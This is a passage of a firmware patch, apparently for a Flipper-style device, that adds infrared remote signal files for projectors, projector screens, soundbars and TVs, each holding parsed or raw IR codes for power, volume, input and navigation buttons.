540 532 546 526 541 1562 573 522 545 1559 566 530 547 524 543 529 538 1565 570 1558 567 529 549 1556 569 1559 566 1563 572 1556 569 1560 565 531 547 526 541 1562 573 523 544 528 539 531 547 +Ff RAW F:38000 DC:33 8540 4227 567 1561 564 533 545 1583 542 1561 564 533 545 1583 542 531 547 1580 545 528 539 1588 547 525 542 530 548 1554 571 526 541 1586 539 533 545 1583 542 530 548 525 542 1584 541 1562 573 524 543 528 539 1588 547 525 542 1585 540 1563 572 525 542 530 548 1579 546 1556 569 529 538 26872 8548 4218 566 1563 572 1556 569 1560 565 1563 572 524 543 1585 540 532 546 1582 543 530 548 524 543 528 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 1557 568 529 538 1565 570 526 541 1562 573 1556 569 1560 565 531 547 525 542 1586 539 533 544 1559 566 531 547 525 542 528 539 +Band RAW F:38000 DC:33 8544 4221 563 1564 571 526 541 1586 539 1589 546 525 542 1586 539 533 545 1582 543 530 548 1579 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1581 544 528 539 533 545 527 540 1587 548 524 543 1584 541 1587 538 534 544 1584 541 1587 538 1589 546 26868 8544 4220 564 1588 547 525 542 1585 540 1587 548 524 543 1584 541 532 546 1581 544 529 538 1589 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1580 545 528 539 532 546 527 540 1587 548 524 543 1584 541 1586 539 534 544 1583 542 1586 539 1588 547 +Folder_l RAW F:38000 DC:33 8541 4222 572 1555 570 503 564 1562 573 1555 570 502 565 1561 574 498 569 1558 567 505 573 1555 570 502 565 506 571 1556 569 503 564 1563 572 500 567 1560 565 506 572 501 566 1561 564 1564 571 500 567 504 573 1555 570 501 566 1562 573 1554 571 501 566 506 572 1556 569 1558 567 530 548 26862 8547 4217 567 1562 573 1555 570 1559 566 1562 573 523 544 1560 565 531 547 1557 568 528 539 533 544 527 540 531 547 1557 568 528 539 1564 571 525 542 529 549 1555 570 526 541 530 548 1556 569 1559 566 1563 572 524 543 1561 564 532 546 1558 567 1562 573 523 544 528 539 532 546 1557 568 +Folder_r RAW F:38000 DC:33 8542 4221 573 1554 571 501 566 1561 564 1564 571 500 567 1561 564 507 571 1557 568 504 574 1554 571 525 542 505 572 1555 570 527 540 1562 573 524 543 1559 566 531 547 501 566 1561 564 1563 572 500 567 504 573 1555 570 502 565 1562 573 1555 570 502 565 506 571 1557 568 1559 566 506 572 26865 8544 4219 565 1565 570 1558 567 1561 564 1565 570 526 541 1562 573 523 544 1560 565 531 547 525 542 529 548 523 544 1560 565 531 547 1557 568 528 539 1564 571 524 543 528 539 532 545 1557 568 1561 564 1565 570 525 542 529 549 1579 546 1583 542 1586 539 532 545 526 541 531 547 1580 545 diff --git a/assets/resources/infrared/assets/Projectors/BenQ.ir b/assets/resources/infrared/assets/Projectors/BenQ.ir new file mode 100644 index 000000000..d4b5c519c --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/BenQ.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A F5 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C F3 00 00 +# +name: Vol_u +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 EA 00 00 +# +name: Vol_d +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C E3 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A E5 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 BF 00 00 diff --git a/assets/resources/infrared/assets/Projectors/Casio-Projector_yt130.ir b/assets/resources/infrared/assets/Projectors/Casio-Projector_yt130.ir new file mode 100644 index 000000000..8d7506b3d --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/Casio-Projector_yt130.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 0B F4 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 0A F5 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 0C F3 00 00 +# +name: Zoom_up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1B E4 00 00 +# +name: Zoom_dwn +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1A E5 00 00 +# +name: Focus_up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1D E2 00 00 +# +name: Focus_dwn +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1C E3 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4A B5 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4B B4 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4D B2 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4E B1 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4C B3 00 00 +# +name: Keyst_up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 2A D5 00 00 +# +name: Keyst_d +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 2D D2 00 00 +# +name: Auto +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 5B A4 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 5C A3 00 00 +# +name: Eco +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 3C C3 00 00 diff --git a/assets/resources/infrared/assets/Projectors/Da_lite_proj_scrn.ir b/assets/resources/infrared/assets/Projectors/Da_lite_proj_scrn.ir new file mode 100644 index 000000000..c6037b75a --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/Da_lite_proj_scrn.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 226 7356 231 7350 227 4756 222 4761 227 4756 222 4761 227 4756 232 4750 228 4756 222 4761 227 7353 224 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 231 7350 226 4757 231 4752 226 4757 231 4752 226 4758 230 4753 225 4758 230 4753 225 7356 231 7350 226 59177 227 7354 222 4761 227 4756 222 4761 227 4756 222 4761 227 4756 222 4762 226 4757 221 7360 227 7354 222 59180 224 7357 230 4753 225 4759 229 4754 224 4759 229 4754 224 4759 229 4754 224 4760 228 7352 225 7357 230 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 222 7359 227 7353 223 4760 228 4756 222 4761 227 4756 222 4762 226 4757 231 4752 225 7355 231 4752 226 59177 224 7357 230 7351 225 4758 230 4753 225 4758 230 4753 225 4759 229 4753 225 4759 229 7352 224 4759 229 59173 228 7353 223 7358 229 4754 223 4760 228 4755 222 4761 227 4756 222 4761 227 4756 222 7360 226 4756 222 diff --git a/assets/resources/infrared/assets/Projectors/Dragonfly_scrn.ir b/assets/resources/infrared/assets/Projectors/Dragonfly_scrn.ir new file mode 100644 index 000000000..a13e4155d --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/Dragonfly_scrn.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1277 429 1251 430 1250 430 1250 430 415 1239 441 1239 441 1265 415 1265 415 1239 441 1266 414 1240 1274 432 413 1268 412 1242 438 1242 1272 434 1246 435 1245 435 410 1270 1244 435 1255 425 1255 425 409 1271 1254 426 1254 427 1253 427 407 1272 1253 427 1253 428 1252 428 1252 429 405 +# +name: Lil_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1271 435 1255 425 1255 426 1254 426 408 1272 407 1272 407 1272 407 1273 1252 428 406 1274 405 1274 405 1274 405 1249 441 1239 440 1239 1275 432 1248 433 1247 433 412 1268 1246 434 411 1268 412 1269 411 1269 1245 435 410 1270 1255 426 408 1271 409 1271 409 1271 408 1272 1253 428 406 22225 1273 434 1246 435 1245 435 1255 425 409 1271 409 1270 410 1271 409 1271 1254 427 407 1272 407 1273 406 1273 406 1247 433 1248 431 1248 1277 430 1250 431 1249 431 414 1266 1248 432 413 1267 412 1267 413 1267 1247 434 411 1268 1246 435 410 1269 411 1270 410 1270 410 1244 1281 426 408 22224 1274 433 1247 433 1247 433 1247 434 411 1269 411 1269 411 1269 411 1270 1255 426 408 1271 409 1271 408 1271 409 1246 433 1246 433 1247 1278 429 1251 429 1250 430 404 1275 1250 431 414 1266 413 1266 413 1266 1248 433 412 1267 1247 434 411 1268 412 1268 412 1269 410 1243 1282 426 408 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1280 427 1252 427 1252 428 1251 429 405 1274 405 1274 405 1275 415 1238 441 1265 414 1266 1248 432 413 1267 412 1267 412 1268 411 1268 1246 434 1245 435 1255 425 409 1271 409 1271 1254 426 1253 427 407 1272 408 1272 1253 428 1251 429 405 1274 1251 430 1249 430 1249 431 414 1266 1248 21384 1278 428 1252 428 1251 429 1251 430 404 1275 404 1275 415 1265 414 1239 440 1240 439 1240 1274 433 412 1268 411 1268 411 1269 410 1243 1282 425 1255 426 1254 426 408 1272 407 1272 1253 428 1251 428 406 1274 405 1274 1251 430 1250 430 415 1265 1249 431 1249 432 1247 432 413 1267 1247 21385 1277 429 1250 429 1251 430 1250 430 415 1265 414 1265 414 1266 413 1266 414 1240 439 1241 1273 434 411 1269 410 1269 410 1269 410 1270 1255 426 1254 426 1254 427 407 1272 407 1272 1253 428 1252 429 405 1274 405 1274 1251 430 1250 431 414 1266 1248 431 1249 432 1248 432 413 1267 1247 +# +name: Lil_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1275 432 1248 433 1247 433 1246 434 411 1269 410 1269 410 1243 1282 425 409 1270 409 1270 409 1271 409 1271 408 1246 433 1246 433 1247 1278 429 1250 430 1249 430 1249 431 414 1266 414 1265 414 1266 413 1266 1248 433 1247 433 1247 434 411 1268 1246 434 411 1269 411 1243 1282 425 1254 21377 1274 433 1246 433 1246 434 1245 435 410 1269 411 1269 410 1270 1255 426 408 1271 408 1245 434 1272 407 1246 433 1247 432 1247 433 1248 1277 430 1249 430 1249 431 1248 432 413 1266 414 1266 413 1267 412 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 410 1271 1254 427 1252 21378 1273 434 1246 434 1246 435 1244 435 410 1270 410 1270 410 1244 1281 426 408 1271 408 1272 407 1272 408 1273 406 1247 432 1247 433 1248 1277 430 1249 431 1249 431 1249 432 413 1267 413 1266 414 1267 413 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 409 1244 1281 427 1252 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1278 402 1277 402 1277 403 1276 404 441 1239 440 1240 439 1241 438 1241 438 1242 1272 408 437 1243 436 1244 435 1245 434 1246 433 1246 1278 402 1277 402 1277 403 1276 403 442 1239 1275 404 1275 405 1274 405 440 1241 438 1242 437 1242 437 1243 1281 398 1281 399 1280 400 1279 400 1279 diff --git a/assets/resources/infrared/assets/Projectors/Epson.ir b/assets/resources/infrared/assets/Projectors/Epson.ir new file mode 100644 index 000000000..b29d592f7 --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/Epson.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 6F 00 00 +# +name: Hdmi_1 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 73 8C 00 00 +# +name: Hdmi_2 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 77 88 00 00 +# +name: Lan +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 74 8B 00 00 +# +name: Video +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 70 8F 00 00 +# +name: Pc +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 62 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 5E A1 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 5B A4 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 59 A6 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 99 66 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 98 67 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 65 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 7A 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 4F 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 4D 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 4C 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B1 4E 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 95 6A 00 00 diff --git a/assets/resources/infrared/assets/Projectors/Scrn_innov.ir b/assets/resources/infrared/assets/Projectors/Scrn_innov.ir new file mode 100644 index 000000000..43ae80d95 --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/Scrn_innov.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 181 7214 182 7213 173 4784 182 4774 181 4775 180 4777 178 4778 177 4779 176 4780 175 4781 174 7221 176 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 7216 181 7214 183 4774 181 4775 180 4776 179 4777 179 4778 178 4779 177 4780 175 7219 178 7218 179 56308 178 7218 179 7216 181 4776 179 4777 178 4778 177 4779 176 4780 175 4781 175 4782 173 7222 175 7220 177 56310 176 7219 178 7217 180 4777 178 4778 177 4779 176 4780 175 4781 174 4782 173 4783 183 7213 173 7222 175 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 7217 180 7215 182 4774 181 4776 179 4776 179 4777 179 4778 177 4779 177 4780 175 7220 177 4779 176 56311 176 7219 178 7218 179 4777 178 4778 178 4779 177 4780 175 4781 175 4782 174 4782 174 7222 175 4781 175 56313 174 7221 176 7220 177 4779 177 4780 175 4781 175 4781 175 4782 174 4783 172 4784 182 7213 174 4783 173 diff --git a/assets/resources/infrared/assets/Projectors/Stlth_acou.ir b/assets/resources/infrared/assets/Projectors/Stlth_acou.ir new file mode 100644 index 000000000..103f1a76c --- /dev/null +++ b/assets/resources/infrared/assets/Projectors/Stlth_acou.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6355 4752 1414 414 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 386 761 749 388 381 756 754 383 386 761 749 388 380 757 754 383 411 726 759 388 406 731 753 384 411 726 758 389 405 732 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 725 412 409 728 385 762 404 733 751 386 409 728 411 726 414 733 750 387 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6346 4759 1417 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 382 755 756 381 387 760 750 387 408 729 755 382 413 734 750 387 407 730 755 382 412 735 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 15724 6353 4753 1423 405 732 752 385 410 727 757 390 378 759 751 386 409 728 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 407 730 728 409 412 735 749 388 380 757 754 383 412 725 759 388 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 15729 6348 4758 1418 410 727 757 390 405 732 752 385 409 728 757 390 404 733 751 386 409 728 756 381 414 733 751 386 408 729 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 754 383 412 735 749 388 407 730 754 383 412 725 759 388 380 757 753 384 411 726 758 389 405 732 753 384 410 727 758 389 405 732 752 385 410 727 757 390 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6344 4762 1415 413 734 750 387 381 756 755 382 386 761 749 388 380 757 754 383 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 409 728 730 417 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 412 735 749 388 407 730 727 410 411 726 758 389 405 732 408 729 755 382 757 390 404 733 407 730 754 383 756 381 15733 6346 4761 1416 386 761 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 408 729 728 409 413 734 749 388 407 730 754 383 385 762 748 389 406 731 409 728 756 381 758 389 405 732 408 729 755 382 757 390 15724 6354 4752 1425 404 733 751 386 409 728 756 381 413 734 750 387 381 756 755 382 412 735 749 388 407 730 754 383 412 725 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 409 728 756 381 758 389 406 731 408 729 755 382 758 389 diff --git a/assets/resources/infrared/assets/SoundBars/Amz_snd_bar.ir b/assets/resources/infrared/assets/SoundBars/Amz_snd_bar.ir new file mode 100644 index 000000000..e02deae59 --- /dev/null +++ b/assets/resources/infrared/assets/SoundBars/Amz_snd_bar.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 09 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 45 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 1B 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 51 00 00 00 +# +name: Play_pause +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 46 00 00 00 +# +name: Rca +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 5D 00 00 00 +# +name: Aux +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 0E 00 00 00 +# +name: Opt +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 0D 00 00 00 +# +name: Bluetooth +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/assets/SoundBars/Old_sonyxbr.ir b/assets/resources/infrared/assets/SoundBars/Old_sonyxbr.ir new file mode 100644 index 000000000..c326b8055 --- /dev/null +++ b/assets/resources/infrared/assets/SoundBars/Old_sonyxbr.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: Vol_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: Mute +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/assets/SoundBars/Vizio_Soundbar.ir b/assets/resources/infrared/assets/SoundBars/Vizio_Soundbar.ir new file mode 100644 index 000000000..4f154c213 --- /dev/null +++ b/assets/resources/infrared/assets/SoundBars/Vizio_Soundbar.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 00 00 00 00 +command: C9 00 00 00 +# +name: Rewind +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: Play_Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 48 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: Fast_Forward +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8B 00 00 00 diff --git a/assets/resources/infrared/assets/SoundBars/Yamaha_rx.ir b/assets/resources/infrared/assets/SoundBars/Yamaha_rx.ir new file mode 100644 index 000000000..1fb761636 --- /dev/null +++ b/assets/resources/infrared/assets/SoundBars/Yamaha_rx.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: Yamaha_power +type: parsed +protocol: NEC +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: Hdmi_1 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 47 38 00 00 +# +name: Hdmi_2 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 4A 35 00 00 +# +name: Hdmi_3 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 4D 32 00 00 +# +name: Hdmi_4 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 50 2F 00 00 +# +name: Hdmi_5 +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 70 0F 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: Enter +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: DE 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: On_screen +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: Return +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: Option +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 6B 14 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: Pop_upmenu +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: A4 DB 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 9F 00 00 diff --git a/assets/resources/infrared/assets/TVs/LG_C1.ir b/assets/resources/infrared/assets/TVs/LG_C1.ir new file mode 100644 index 000000000..ce171c66e --- /dev/null +++ b/assets/resources/infrared/assets/TVs/LG_C1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Channel_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: Channel_dn +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: Vol_dn +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 40 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 41 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 07 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 06 00 00 00 +# +name: Select +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/NEC.ir b/assets/resources/infrared/assets/TVs/NEC.ir new file mode 100644 index 000000000..2b8e86e31 --- /dev/null +++ b/assets/resources/infrared/assets/TVs/NEC.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 +# +name: Standby +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 499 502 495 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 +# +name: Ch_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 +# +name: Ch_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 